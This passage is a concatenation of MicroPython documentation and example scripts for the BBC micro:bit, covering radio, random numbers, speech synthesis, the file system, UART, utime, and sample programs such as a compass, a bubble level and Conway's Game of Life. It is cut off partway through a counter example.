how to make MicroPython fly on the BBC micro:bit then read the API reference documentation. It contains information about *all* the capabilities available to you. Explore, experiment and be fearless trying things out ~ for these are the attributes of a virtuoso coder. To encourage you we have hidden a number of `Easter eggs `_ in MicroPython and the Python code editors. They're fun rewards for looking "under the hood" and "poking with a stick". Such skill in Python is valuable: it's one of the world's most popular professional programming languages. Amaze us with your code! Make things that delight us! Most of all, have fun! Happy hacking! ================================================ FILE: micropython/docs/tutorials/radio.rst ================================================ Radio ----- Interaction at a distance feels like magic. Magic might be useful if you're an elf, wizard or unicorn, but such things only exist in stories. However, there's something much better than magic: physics! Wireless interaction is all about physics: radio waves (a type of electromagnetic radiation, similar to visible light) have some sort of property (such as their amplitude, phase or pulse width) modulated by a transmitter in such a way that information can be encoded and, thus, broadcast. When radio waves encounter an electrical conductor (i.e. an aerial), they cause an alternating current from which the information in the waves can be extracted and transformed back into its original form. Layers upon Layers ++++++++++++++++++ If you remember, networks are built in layers. The most fundamental requirement for a network is some sort of connection that allows a signal to get from one device to the other. In our networking tutorial we used wires connected to the I/O pins. Thanks to the radio module we can do away with wires and use the physics summarised above as the invisible connection between devices. The next layer up in the network stack is also different from the example in the networking tutorial. With the wired example we used digital on and off to send and read a signal from the pins. With the built-in radio on the micro:bit the smallest useful part of the signal is a byte. Bytes +++++ A byte is a unit of information that (usually) consists of eight bits. A bit is the smallest possible unit of information since it can only be in two states: on or off. Bytes work like a sort of abacus: each position in the byte is like a column in an abacus - they represent an associated number. In an abacus these are usually thousands, hundreds, tens and units (in UK parlance). In a byte they are 128, 64, 32, 16, 8, 4, 2 and 1. As bits (on/off signals) are sent over the air, they are re-combined into bytes by the recipient. Have you spotted the pattern? (Hint: base 2.) By adding the numbers associated with the positions in a byte that are set to "on" we can represent numbers between 0 and 255. The image below shows how this works with five bits and counting from zero to 32: .. image:: binary_count.gif If we can agree what each one of the 255 numbers (encoded by a byte) represents ~ such as a character ~ then we can start to send text one character per byte at a time. Funnily enough, people have already `thought of this `_ ~ using bytes to encode and decode information is commonplace. This approximately corresponds to the Morse-code "protocol" layer in the wired networking example. A really great series of child (and teacher) friendly explanations of "all things bytes" can be found at the `CS unplugged `_ website. Addressing ++++++++++ The problem with radio is that you can't transmit directly to one person. Anyone with an appropriate aerial can receive the messages you transmit. As a result it's important to be able to differentiate who should be receiving broadcasts. The way the radio built into the micro:bit solves this problem is quite simple: * It's possible to tune the radio to different channels (numbered 0-83). This works in exactly the same way as kids' walkie-talkie radios: everyone tunes into the same channel and everyone hears what everyone else broadcasts via that channel. As with walkie-talkies, if you use adjacent channels there is a slight possibility of interference. * The radio module allows you to specify two pieces of information: an address and a group. The address is like a postal address whereas a group is like a specific recipient at the address. The important thing is the radio will filter out messages that it receives that do not match *your* address and group. As a result, it's important to pre-arrange the address and group your application is going to use. Of course, the micro:bit is still receiving broadcast messages for other address/group combinations. The important thing is you don't need to worry about filtering those out. Nevertheless, if someone were clever enough, they could just read *all the wireless network traffic* no matter what the target address/group was supposed to be. In this case, it's *essential* to use encrypted means of communication so only the desired recipient can actually read the message that was broadcast. Cryptography is a fascinating subject but, unfortunately, beyond the scope of this tutorial. Fireflies +++++++++ This is a firefly: .. image:: firefly.gif It's a sort of bug that uses bioluminescence to signal (without wires) to its friends. Here's what they look like when they signal to each other: .. image:: fireflies.gif The BBC have `rather a beautiful video `_ of fireflies available online. We're going to use the radio module to create something akin to a swarm of fireflies signalling to each other. First ``import radio`` to make the functions available to your Python program. Then call the ``radio.on()`` function to turn the radio on. Since the radio draws power and takes up memory we've made it so *you* decide when it is enabled (there is, of course a ``radio.off()`` function). At this point the radio module is configured to sensible defaults that make it compatible with other platforms that may target the BBC micro:bit. It is possible to control many of the features discussed above (such as channel and addressing) as well as the amount of power used to broadcast messages and the amount of RAM the incoming message queue will take up. The API documentation contains all the information you need to configure the radio to your needs. Assuming we're happy with the defaults, the simplest way to send a message is like this:: radio.send("a message") The example uses the ``send`` function to simply broadcast the string "a message". To receive a message is even easier:: new_message = radio.receive() As messages are received they are put on a message queue. The ``receive`` function returns the oldest message from the queue as a string, making space for a new incoming message. If the message queue fills up, then new incoming messages are ignored. That's really all there is to it! (Although the radio module is also powerful enough that you can send any arbitrary type of data, not just strings. See the API documentation for how this works.) Armed with this knowledge, it's simple to make micro:bit fireflies like this: .. include:: ../../examples/radio.py :code: python The important stuff happens in the event loop. First, it checks if button A was pressed and, if it was, uses the radio to send the message "flash". Then it reads any messages from the message queue with ``radio.receive()``. If there is a message it sleeps a short, random period of time (to make the display more interesting) and uses ``display.show()`` to animate a firefly flash. Finally, to make things a bit exciting, it chooses a random number so that it has a 1 in 10 chance of re-broadcasting the "flash" message to anyone else (this is how it's possible to sustain the firefly display among several devices). If it decides to re-broadcast then it waits for half a second (so the display from the initial flash message has chance to die down) before sending the "flash" signal again. Because this code is enclosed within a ``while True`` block, it loops back to the beginning of the event loop and repeats this process forever. The end result (using a group of micro:bits) should look something like this: .. image:: mb-firefly.gif .. footer:: The image of binary counting is released under the licensing details listed here: https://en.wikipedia.org/wiki/File:Binary_counter.gif ================================================ FILE: micropython/docs/tutorials/random.rst ================================================ Random ------ Sometimes you want to leave things to chance, or mix it up a little: you want the device to act randomly. MicroPython comes with a ``random`` module to make it easy to introduce chance and a little chaos into your code. For example, here's how to scroll a random name across the display:: from microbit import * import random names = ["Mary", "Yolanda", "Damien", "Alia", "Kushal", "Mei Xiu", "Zoltan" ] display.scroll(random.choice(names)) The list (``names``) contains seven names defined as strings of characters. The final line is *nested* (the "onion" effect introduced earlier): the ``random.choice`` method takes the ``names`` list as an argument and returns an item chosen at random. This item (the randomly chosen name) is the argument for ``display.scroll``. Can you modify the list to include your own set of names? Random Numbers ++++++++++++++ Random numbers are very useful. They're common in games. Why else do we have dice? MicroPython comes with several useful random number methods. Here's how to make a simple dice:: from microbit import * import random display.show(str(random.randint(1, 6))) Every time the device is reset it displays a number between 1 and 6. You're starting to get familiar with *nesting*, so it's important to note that ``random.randint`` returns a whole number between the two arguments, inclusive (a whole number is also called an integer - hence the name of the method). Notice that because ``display.show`` expects a character then we use the ``str`` function to turn the numeric value into a character (we turn, for example, ``6`` into ``"6"``). If you know you'll always want a number between ``0`` and ``N`` then use the ``random.randrange`` method. If you give it a single argument it'll return random integers up to, but not including, the value of the argument ``N`` (this is different to the behaviour of ``random.randint``). Sometimes you need numbers with a decimal point in them. These are called *floating point* numbers and it's possible to generate such a number with the ``random.random`` method. This only returns values between ``0.0`` and ``1.0`` inclusive. If you need larger random floating point numbers add the results of ``random.randrange`` and ``random.random`` like this:: from microbit import * import random answer = random.randrange(100) + random.random() display.scroll(str(answer)) Seeds of Chaos ++++++++++++++ The random number generators used by computers are not truly random. They just give random like results given a starting *seed* value. The seed is often generated from random-ish values such as the current time and/or readings from sensors such as the thermometers built into chips. Sometimes you want to have repeatable random-ish behaviour: a source of randomness that is reproducible. It's like saying that you need the same five random values each time you throw a dice. This is easy to achieve by setting the *seed* value. Given a known seed the random number generator will create the same set of random numbers. The seed is set with ``random.seed`` and any whole number (integer). This version of the dice program always produces the same results:: from microbit import * import random random.seed(1337) while True: if button_a.was_pressed(): display.show(str(random.randint(1, 6))) Can you work out why this program needs us to press button A instead of reset the device as in the first dice example..? ================================================ FILE: micropython/docs/tutorials/speech.rst ================================================ Speech ------ .. warning:: WARNING! THIS IS ALPHA CODE. We reserve the right to change this API as development continues. The quality of the speech is not great, merely "good enough". Given the constraints of the device you may encounter memory errors and / or unexpected extra sounds during playback. It's early days and we're improving the code for the speech synthesiser all the time. Bug reports and pull requests are most welcome. Computers and robots that talk feel more "human". So often we learn about what a computer is up to through a graphical user interface (GUI). In the case of a BBC micro:bit the GUI is a 5x5 LED matrix, which leaves a lot to be desired. Getting the micro:bit talk to you is one way to express information in a fun, efficient and useful way. To this end, we have integrated a simple speech synthesiser based upon a reverse-engineered version of a synthesiser from the early 1980s. It sounds very cute, in an "all humans must die" sort of a way. With this in mind, we're going to use the speech synthesiser to create... DALEK Poetry ++++++++++++ .. image:: dalek.jpg It's a little known fact that DALEKs enjoy poetry ~ especially limericks. They go wild for anapestic meter with a strict AABBA form. Who'd have thought? (Actually, as we'll learn below, it's The Doctor's fault DALEKs like limericks, much to the annoyance of Davros.) In any case, we're going to create a DALEK poetry recital on demand. Say Something +++++++++++++ Before the device can talk you need to plug in a speaker like this: .. image:: ../speech.png The simplest way to get the device to speak is to import the ``speech`` module and use the ``say`` function like this:: import speech speech.say("Hello, World") While this is cute it's certainly not DALEK enough for our taste, so we need to change some of the parameters that the speech synthesiser uses to produce the voice. Our speech synthesiser is quite powerful in this respect because we can change four parameters: * ``pitch`` - how high or low the voice sounds (0 = high, 255 = Barry White) * ``speed`` - how quickly the device talks (0 = impossible, 255 = bedtime story) * ``mouth`` - how tight-lipped or overtly enunciating the voice sounds (0 = ventriloquist's dummy, 255 = Foghorn Leghorn) * ``throat`` - how relaxed or tense is the tone of voice (0 = falling apart, 255 = totally chilled) Collectively, these parameters control the quality of sound - a.k.a. the timbre. To be honest, the best way to get the tone of voice you want is to experiment, use your judgement and adjust. To adjust the settings you pass them in as arguments to the ``say`` function. More details can be found in the ``speech`` module's API documentation. After some experimentation we've worked out this sounds quite DALEK-esque:: speech.say("I am a DALEK - EXTERMINATE", speed=120, pitch=100, throat=100, mouth=200) Poetry on Demand ++++++++++++++++ Being Cyborgs DALEKs use their robot capabilities to compose poetry and it turns out that the algorithm they use is written in Python like this:: # DALEK poetry generator, by The Doctor import speech import random from microbit import sleep # Randomly select fragments to interpolate into the template. location = random.choice(["brent", "trent", "kent", "tashkent"]) action = random.choice(["wrapped up", "covered", "sang to", "played games with"]) obj = random.choice(["head", "hand", "dog", "foot"]) prop = random.choice(["in a tent", "with cement", "with some scent", "that was bent"]) result = random.choice(["it ran off", "it glowed", "it blew up", "it turned blue"]) attitude = random.choice(["in the park", "like a shark", "for a lark", "with a bark"]) conclusion = random.choice(["where it went", "its intent", "why it went", "what it meant"]) # A template of the poem. The {} are replaced by the named fragments. poem = [ "there was a young man from {}".format(location), "who {} his {} {}".format(action, obj, prop), "one night after dark", "{} {}".format(result, attitude), "and he never worked out {}".format(conclusion), "EXTERMINATE", ] # Loop over each line in the poem and use the speech module to recite it. for line in poem: speech.say(line, speed=120, pitch=100, throat=100, mouth=200) sleep(500) As the comments demonstrate, it's a very simple in design: * Named fragments (``location``, ``prop``, ``attitude`` etc) are randomly generated from pre-defined lists of possible values. Note the use of ``random.choice`` to select a single item from a list. * A template of a poem is defined as a list of stanzas with "holes" in them (denoted by ``{}``) into which the named fragments will be put using the ``format`` method. * Finally, Python loops over each item in the list of filled-in poetry stanzas and uses ``speech.say`` with the settings for the DALEK voice to recite the poem. A pause of 500 milliseconds is inserted between each line because even DALEKs need to take a breath. Interestingly the original poetry related routines were written by Davros in `FORTRAN `_ (an appropriate language for DALEKS since you type it ALL IN CAPITAL LETTERS). However, The Doctor went back in time to precisely the point between Davros's `unit tests `_ passing and the `deployment pipeline `_ kicking in. At this instant he was able to insert a MicroPython interpreter into the DALEK operating system and the code you see above into the DALEK memory banks as a sort of long hidden Time-Lord `Easter Egg `_ or `Rickroll `_. Phonemes ++++++++ You'll notice that sometimes, the ``say`` function doesn't accurately translate from English words into the correct sound. To have fine grained control of the output, use phonemes: the building-block sounds of language. The advantage of using phonemes is that you don't have to know how to spell! Rather, you only have to know how to say the word in order to spell it phonetically. A full list of the phonemes the speech synthesiser understands can be found in the API documentation for speech. Alternatively, save yourself a lot of time by passing in English words to the ``translate`` function. It'll return a first approximation of the phonemes it would use to generate the audio. This result can be hand-edited to improve the accuracy, inflection and emphasis (so it sounds more natural). The ``pronounce`` function is used for phoneme output like this:: speech.pronounce("/HEH5EH4EH3EH2EH2EH3EH4EH5EHLP.”) How could you improve on The Doctor's code to make it use phonemes? Sing A Song of Micro:bit ++++++++++++++++++++++++ By changing the ``pitch`` setting and calling the ``sing`` function it's possible to make the device sing (although it's not going to win Eurovision any time soon). The mapping from pitch numbers to musical notes is shown below: .. image:: ../speech-pitch.png The ``sing`` function must take phonemes and pitch as input like this:: speech.sing("#115DOWWWW") Notice how the pitch to be sung is prepended to the phoneme with a hash (``#``). The pitch will remain the same for subsequent phonemes until a new pitch is annotated. The following example demonstrates how all three generative functions (``say``, ``pronounce`` and ``sing``) can be used to produce speech like output: .. include:: ../../examples/speech.py :code: python .. footer:: The image of the DALEK is licensed as per the details here: https://commons.wikimedia.org/wiki/File:Dalek_(Dr_Who).jpg The image of DAVROS is licensed as per the details here: https://en.wikipedia.org/wiki/File:Davros_and_Daleks.jpg ================================================ FILE: micropython/docs/tutorials/storage.rst ================================================ Storage ------- Sometimes you need to store useful information. Such information is stored as data: representation of information (in a digital form when stored on computers). If you store data on a computer it should persist, even if you switch the device off and on again. Happily MicroPython on the micro:bit allows you to do this with a very simple file system. Because of memory constraints **there is approximately 30k of storage available** on the file system. .. note:: The micropython file system should not be confused with the micro:bit mass storage mode which presents the device as a USB drive. Mass storage mode is only intended for copying across a HEX file, so you won't see files you create using the file system appearing on the MICROBIT drive. What is a file system? It's a means of storing and organising data in a persistent manner - any data stored in a file system should survive restarts of the device. As the name suggests, data stored on a file system is organised into files. .. image:: files.jpg A computer file is a named digital resource that's stored on a file system. Such resources contain useful information as data. This is exactly how a paper file works. It's a sort of named container that contains useful information. Usually, both paper and digital files are named to indicate what they contain. On computers it is common to end a file with a ``.something`` suffix. Usually, the "something" indicates what type of data is used to represent the information. For example, ``.txt`` indicates a text file, ``.jpg`` a JPEG image and ``.mp3`` sound data encoded as MP3. Some file systems (such as the one found on your laptop or PC) allow you to organise your files into directories: named containers that group related files and sub-directories together. However, *the file system provided by MicroPython is a flat file system*. A flat file system does not have directories - all your files are just stored in the same place. The Python programming language contains easy to use and powerful ways in which to work with a computer's file system. MicroPython on the micro:bit implements a useful subset of these features to make it easy to read and write files on the device, while also providing consistency with other versions of Python. .. warning:: Flashing your micro:bit will DESTROY ALL YOUR DATA since it re-writes all the flash memory used by the device and the file system is stored in the flash memory. However, if you switch off your device the data will remain intact until you either delete it or re-flash the device. Open Sesame +++++++++++ Reading and writing a file on the file system is achieved by the ``open`` function. Once a file is opened you can do stuff with it until you close it (analogous with the way we use paper files). It is essential you close a file so MicroPython knows you've finished with it. The best way to make sure of this is to use the ``with`` statement like this:: with open('story.txt') as my_file: content = my_file.read() print(content) The ``with`` statement uses the ``open`` function to open a file and assign it to an object. In the example above, the ``open`` function opens the file called ``story.txt`` (obviously a text file containing a story of some sort). The object that's used to represent the file in the Python code is called ``my_file``. Subsequently, in the code block indented underneath the ``with`` statement, the ``my_file`` object is used to ``read()`` the content of the file and assign it to the ``content`` object. Here's the important point, *the next line containing the* ``print`` *statement is not indented*. The code block associated with the ``with`` statement is only the single line that reads the file. Once the code block associated with the ``with`` statement is closed then Python (and MicroPython) will automatically close the file for you. This is called context handling and the ``open`` function creates objects that are context handlers for files. Put simply, the scope of your interaction with a file is defined by the code block associated with the ``with`` statement that opens the file. Confused? Don't be. I'm simply saying your code should look like this:: with open('some_file') as some_object: # Do stuff with some_object in this block of code # associated with the with statement. # When the block is finished then MicroPython # automatically closes the file for you. Just like a paper file, a digital file is opened for two reasons: to read its content (as demonstrated above) or to write something to the file. The default mode is to read the file. If you want to write to a file you need to tell the ``open`` function in the following way:: with open('hello.txt', 'w') as my_file: my_file.write("Hello, World!") Notice the ``'w'`` argument is used to set the ``my_file`` object into write mode. You could also pass an ``'r'`` argument to set the file object to read mode, but since this is the default, it's often left off. Writing data to the file is done with the (you guessed it) ``write`` method that takes the string you want to write to the file as an argument. In the example above, I write the text "Hello, World!" to a file called "hello.txt". Simple! .. note:: When you open a file and write (perhaps several times while the file is in an open state) you will be writing OVER the content of the file if it already exists. If you want to append data to a file you should first read it, store the content somewhere, close it, append your data to the content and then open it to write again with the revised content. While this is the case in MicroPython, "normal" Python can open files to write in "append" mode. That we can't do this on the micro:bit is a result of the simple implementation of the file system. OS SOS ++++++ As well as reading and writing files, Python can manipulate them. You certainly need to know what files are on the file system and sometimes you need to delete them too. On a regular computer, it is the role of the operating system (like Windows, OSX or Linux) to manage this on Python's behalf. Such functionality is made available in Python via a module called ``os``. Since MicroPython **is** the operating system we've decided to keep the appropriate functions in the ``os`` module for consistency so you'll know where to find them when you use "regular" Python on a device like a laptop or Raspberry Pi. Essentially, you can do three operations related to the file system: list the files, remove a file and ask for the size of a file. To list the files on your file system use the ``listdir`` function. It returns a list of strings indicating the file names of the files on the file system:: import os my_files = os.listdir() To delete a file use the ``remove`` function. It takes a string representing the file name of the file you want to delete as an argument, like this:: import os os.remove('filename.txt') Finally, sometimes it's useful to know how big a file is before reading from it. To achieve this use the ``size`` function. Like the ``remove`` function, it takes a string representing the file name of the file whose size you want to know. It returns an integer (whole number) telling you the number of bytes the file takes up:: import os file_size = os.size('a_big_file.txt') It's all very well having a file system, but what if we want to put or get files on or off the device? Just use the ``microfs`` utility! File Transfer +++++++++++++ If you have Python installed on the computer you use to program your BBC micro:bit then you can use a special utility called ``microfs`` (shortened to ``ufs`` when using it in the command line). Full instructions for installing and using all the features of microfs can be found `in its documentation `_. Nevertheless it's possible to do most of the things you need with just four simple commands:: $ ufs ls story.txt The ``ls`` sub-command lists the files on the file system (it's named after the common Unix command, ``ls``, that serves the same function). :: $ ufs get story.txt The ``get`` sub-command gets a file from the connected micro:bit and saves it into your current location on your computer (it's named after the ``get`` command that's part of the common file transfer protocol [FTP] that serves the same function). :: $ ufs rm story.txt The ``rm`` sub-command removes the named file from the file system on the connected micro:bit (it's named after the common Unix command, ``rm``, that serves the same function). :: $ ufs put story2.txt Finally, the ``put`` sub-command puts a file from your computer onto the connected device (it's named after the ``put`` command that's part of FTP that serves the same function). Mainly main.py ++++++++++++++ The file system also has an interesting property: if you just flashed the MicroPython runtime onto the device then when it starts it's simply waiting for something to do. However, if you copy a special file called ``main.py`` onto the file system, upon restarting the device, MicroPython will run the contents of the ``main.py`` file. Furthermore, if you copy other Python files onto the file system then you can ``import`` them as you would any other Python module. For example, if you had a ``hello.py`` file that contained the following simple code:: def say_hello(name="World"): return "Hello, {}!".format(name) ...you could import and use the ``say_hello`` function like this:: from microbit import display from hello import say_hello display.scroll(say_hello()) Of course, it results in the text "Hello, World!" scrolling across the display. The important point is that such an example is split between two Python modules and the ``import`` statement is used to share code. .. note:: If you have flashed a script onto the device in addition to the MicroPython runtime, then MicroPython will ignore ``main.py`` and run your embedded script instead. To flash just the MicroPython runtime, simply make sure the script you may have written in your editor has zero characters in it. Once flashed you'll be able to copy over a ``main.py`` file. .. footer:: The image of paper files is used under a Creative Commons License and is available here: https://www.flickr.com/photos/jenkim/2270085025 ================================================ FILE: micropython/docs/uart.rst ================================================ UART **** .. py:module:: microbit.uart The ``uart`` module lets you talk to a device connected to your board using a serial interface. Functions ========= .. method:: init(baudrate=9600, bits=8, parity=None, stop=1, \*, tx=None, rx=None) Initialize serial communication with the specified parameters on the specified ``tx`` and ``rx`` pins. Note that for correct communication, the parameters have to be the same on both communicating devices. .. warning:: Initializing the UART on external pins will cause the Python console on USB to become unaccessible, as it uses the same hardware. To bring the console back you must reinitialize the UART without passing anything for ``tx`` or ``rx`` (or passing ``None`` to these arguments). This means that calling ``uart.init(115200)`` is enough to restore the Python console. The ``baudrate`` defines the speed of communication. Common baud rates include: * 9600 * 14400 * 19200 * 28800 * 38400 * 57600 * 115200 The ``bits`` defines the size of bytes being transmitted, and the board only supports 8. The ``parity`` parameter defines how parity is checked, and it can be ``None``, ``microbit.uart.ODD`` or ``microbit.uart.EVEN``. The ``stop`` parameter tells the number of stop bits, and has to be 1 for this board. If ``tx`` and ``rx`` are not specified then the internal USB-UART TX/RX pins are used which connect to the USB serial converter on the micro:bit, thus connecting the UART to your PC. You can specify any other pins you want by passing the desired pin objects to the ``tx`` and ``rx`` parameters. .. note:: When connecting the device, make sure you "cross" the wires -- the TX pin on your board needs to be connected with the RX pin on the device, and the RX pin -- with the TX pin on the device. Also make sure the ground pins of both devices are connected. .. method:: uart.any() Return ``True`` if any data is waiting, else ``False``. .. method:: uart.read([nbytes]) Read bytes. If ``nbytes`` is specified then read at most that many bytes, otherwise read as many bytes as possible. Return value: a bytes object or ``None`` on timeout. A bytes object contains a sequence of bytes. Because `ASCII `_ characters can fit in single bytes this type of object is often used to represent simple text and offers methods to manipulate it as such, e.g. you can display the text using the ``print()`` function. You can also convert this object into a string object, and if there are non-ASCII characters present the encoding can be specified:: msg_bytes = uart.read() msg_str = str(msg, 'UTF-8') .. note:: The timeout for all UART reads depends on the baudrate and is otherwise not changeable via Python. The timeout, in milliseconds, is given by: ``microbit_uart_timeout_char = 13000 / baudrate + 1`` .. note:: The internal UART RX buffer is 64 bytes, so make sure data is read before the buffer is full or some of the data might be lost. .. warning:: Receiving ``0x03`` will stop your program by raising a Keyboard Interrupt. You can enable or disable this using :func:`micropython.kbd_intr()`. .. method:: uart.readall() Removed since version 1.0. Instead, use :func:`uart.read()` with no arguments, which will read as much data as possible. .. method:: uart.readinto(buf[, nbytes]) Read bytes into the ``buf``. If ``nbytes`` is specified then read at most that many bytes. Otherwise, read at most ``len(buf)`` bytes. Return value: number of bytes read and stored into ``buf`` or ``None`` on timeout. .. method:: uart.readline() Read a line, ending in a newline character. Return value: the line read or ``None`` on timeout. The newline character is included in the returned bytes. .. method:: uart.write(buf) Write the buffer to the bus, it can be a bytes object or a string:: uart.write('hello world') uart.write(b'hello world') uart.write(bytes([1, 2, 3])) Return value: number of bytes written or ``None`` on timeout. ================================================ FILE: micropython/docs/utime.rst ================================================ .. MicroPython license information =============================== The MIT License (MIT) Copyright (c) 2013-2017 Damien P. George, and others Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. utime ***** .. py:module:: utime The ``utime`` module provides functions for getting the current time and date, measuring time intervals, and for delays. .. note:: The ``utime`` module is a MicroPython implementation of the standard Python ``time`` module. It can be imported using both ``import utime`` and ``import time``, but the module is the same. Functions ========= .. method:: utime.sleep(seconds) Sleep for the given number of seconds. You can use a floating-point number to sleep for a fractional number of seconds, or use the :func:`utime.sleep_ms()` and :func:`utime.sleep_us()` functions. .. method:: utime.sleep_ms(ms) Delay for given number of milliseconds, should be positive or 0. .. method:: utime.sleep_us(us) Delay for given number of microseconds, should be positive or 0. .. method:: utime.ticks_ms() Returns an increasing millisecond counter with an arbitrary reference point, that wraps around after some value. .. method:: utime.ticks_us() Just like :func:`utime.ticks_ms()` above, but in microseconds. .. method:: utime.ticks_add(ticks, delta) Offset ticks value by a given number, which can be either positive or negative. Given a ticks value, this function allows to calculate ticks value delta ticks before or after it, following modular-arithmetic definition of tick values. Example: .. code-block:: python # Find out what ticks value there was 100ms ago print(ticks_add(time.ticks_ms(), -100)) # Calculate deadline for operation and test for it deadline = ticks_add(time.ticks_ms(), 200) while ticks_diff(deadline, time.ticks_ms()) > 0: do_a_little_of_something() # Find out TICKS_MAX used by this port print(ticks_add(0, -1)) .. method:: utime.ticks_diff(ticks1, ticks2) Measure ticks difference between values returned from :func:`utime.ticks_ms()` or :func:`ticks_us()` functions, as a signed value which may wrap around. The argument order is the same as for subtraction operator, ``ticks_diff(ticks1, ticks2)`` has the same meaning as ``ticks1 - ticks2``. :func:`utime.ticks_diff()` is designed to accommodate various usage patterns, among them: Polling with timeout. In this case, the order of events is known, and you will deal only with positive results of :func:`utime.ticks_diff()`: .. code-block:: python # Wait for GPIO pin to be asserted, but at most 500us start = time.ticks_us() while pin.value() == 0: if time.ticks_diff(time.ticks_us(), start) > 500: raise TimeoutError Scheduling events. In this case, :func:`utime.ticks_diff()` result may be negative if an event is overdue: .. code-block:: python # This code snippet is not optimized now = time.ticks_ms() scheduled_time = task.scheduled_time() if ticks_diff(scheduled_time, now) > 0: print("Too early, let's nap") sleep_ms(ticks_diff(scheduled_time, now)) task.run() elif ticks_diff(scheduled_time, now) == 0: print("Right at time!") task.run() elif ticks_diff(scheduled_time, now) < 0: print("Oops, running late, tell task to run faster!") task.run(run_faster=true) ================================================ FILE: micropython/examples/analog_watch.py ================================================ from microbit import * hands = Image.ALL_CLOCKS #A centre dot of brightness 2. ticker_image = Image("2\n").crop(-2,-2,5,5) #Adjust these to taste MINUTE_BRIGHT = 0.1111 HOUR_BRIGHT = 0.55555 #Generate hands for 5 minute intervals def fiveticks(): fivemins = 0 hours = 0 while True: yield hands[fivemins]*MINUTE_BRIGHT + hands[hours]*HOUR_BRIGHT fivemins = (fivemins+1)%12 hours = (hours + (fivemins == 0))%12 #Generate hands with ticker superimposed for 1 minute intervals. def ticks(): on = True for face in fiveticks(): for i in range(5): if on: yield face + ticker_image else: yield face - ticker_image on = not on #Run a clock speeded up 60 times, so we can watch the animation. for tick in ticks(): display.show(tick) sleep(1000) ================================================ FILE: micropython/examples/asmleds.py ================================================ """ This script uses the inline assembler to make the LEDs light up in a pattern based on how they are multiplexed in rows/cols. """ # row pins: 13, 14, 15 # col pins: 4..12 inclusive # GPIO words starting at 0x50000500: # RESERVED, OUT, OUTSET, OUTCLR, IN, DIR, DIRSET, DIRCLR @micropython.asm_thumb def led_cycle(): b(START) # DELAY routine label(DELAY) mov(r3, 0xa0) lsl(r3, r3, 11) label(delay_loop) sub(r3, 1) bne(delay_loop) bx(lr) label(START) cpsid('i') # disable interrupts so we control the display mov(r0, 0x50) # r0=0x50 lsl(r0, r0, 16) # r0=0x500000 add(r0, 0x05) # r0=0x500005 lsl(r0, r0, 8) # r0=0x50000500 -- this points to GPIO registers mov(r1, 0b111) lsl(r1, r1, 13) # r1=0xe000 str(r1, [r0, 8]) # pull all rows high mov(r1, 1 << 4) # r1 holds current col bit mov(r2, 9) # r2 holds number of cols left label(loop_on) str(r1, [r0, 12]) # pull col low to turn LEDs on bl(DELAY) # wait lsl(r1, r1, 1) # shift to next col sub(r2, 1) # decrease col counter bne(loop_on) # loop while there are still cols left mov(r1, 1 << 4) # r1 holds current col bit mov(r2, 9) # r2 holds number of cols left label(loop_off) str(r1, [r0, 8]) # pull col high to turn LEDs off bl(DELAY) # wait lsl(r1, r1, 1) # shift to next col sub(r2, 1) # decrease col counter bne(loop_off) # loop while there are still cols left cpsie('i') # enable interrupts for i in range(4): led_cycle() ================================================ FILE: micropython/examples/bubble_level_2d.py ================================================ """ Two-dimensional bubble level which uses the accelerometer. """ from microbit import * sensitivity = 'medium' # Change to 'low', 'medium', or 'high' to adjust divisors = {'low':64, 'medium':32, 'high':16} def clamp(number, min, max): """Returns number limited to range specified by min and max, inclusive""" if number < min: return min elif number > max: return max else: return number while True: x_grav, y_grav, _ = accelerometer.get_values() # Map raw values from accelerometer to pixels on display x_pixel = 4 - clamp(2 + x_grav // divisors.get(sensitivity), 0, 4) y_pixel = 4 - clamp(2 + y_grav // divisors.get(sensitivity), 0, 4) display.clear() display.set_pixel(x_pixel, y_pixel, 9) sleep(100) ================================================ FILE: micropython/examples/compass.py ================================================ """ compass.py ~~~~~~~~~~ Creates a compass. The user will need to calibrate the compass first. The compass uses the built-in clock images to display the position of the needle. """ from microbit import * # Start calibrating compass.calibrate() # Try to keep the needle pointed in (roughly) the correct direction while True: sleep(100) needle = ((15 - compass.heading()) // 30) % 12 display.show(Image.ALL_CLOCKS[needle]) ================================================ FILE: micropython/examples/conway.py ================================================ ''' Conway's Game Of Life for the micro:bit Press button A or tap the micro:bit to generate a fresh layout. ''' import microbit import random arena1 = bytearray(7 * 7) arena2 = bytearray(7 * 7) def show(): img = microbit.Image(5,5) for y in range(5): for x in range(5): img.set_pixel(x, y, arena1[8 + y * 7 + x]*9) microbit.display.show(img) # do 1 iteration of Conway's Game of Life def conway_step(): global arena1, arena2 for i in range(5 * 5): # loop over pixels i = 8 + (i // 5) * 7 + i % 5 # count number of neighbours num_neighbours = (arena1[i - 8] + arena1[i - 7] + arena1[i - 6] + arena1[i - 1] + arena1[i + 1] + arena1[i + 6] + arena1[i + 7] + arena1[i + 8]) # check if the centre cell is alive or not self = arena1[i] # apply the rules of life if self and not (2 <= num_neighbours <= 3): arena2[i] = 0 # not enough, or too many neighbours: cell dies elif not self and num_neighbours == 3: arena2[i] = 1 # exactly 3 neighbours around an empty cell: cell is born else: arena2[i] = self # stay as-is # swap the buffers (arena1 is now the new one to display) arena1, arena2 = arena2, arena1 while True: # randomise the start for i in range(5 * 5): # loop over pixels i = 8 + (i // 5) * 7 + i % 5 arena1[i] = random.randrange(2) # set the pixel randomly show() microbit.sleep(1) # need to yield to update accelerometer (not ideal...) # loop while button a is not pressed while not microbit.button_a.is_pressed() and microbit.accelerometer.get_z() < -800: conway_step() show() microbit.sleep(150) ================================================ FILE: micropython/examples/counter.py ================================================ """ counter.py ~~~~~~~~~~ Creates a counter that increments on pressing button a. Scrolls the current count on the led display. """ import microbit ctr = 0 # Initialize counter while True: # Loop forever ctr = ctr + microbit.button_a.get_presses() # Count the amount of 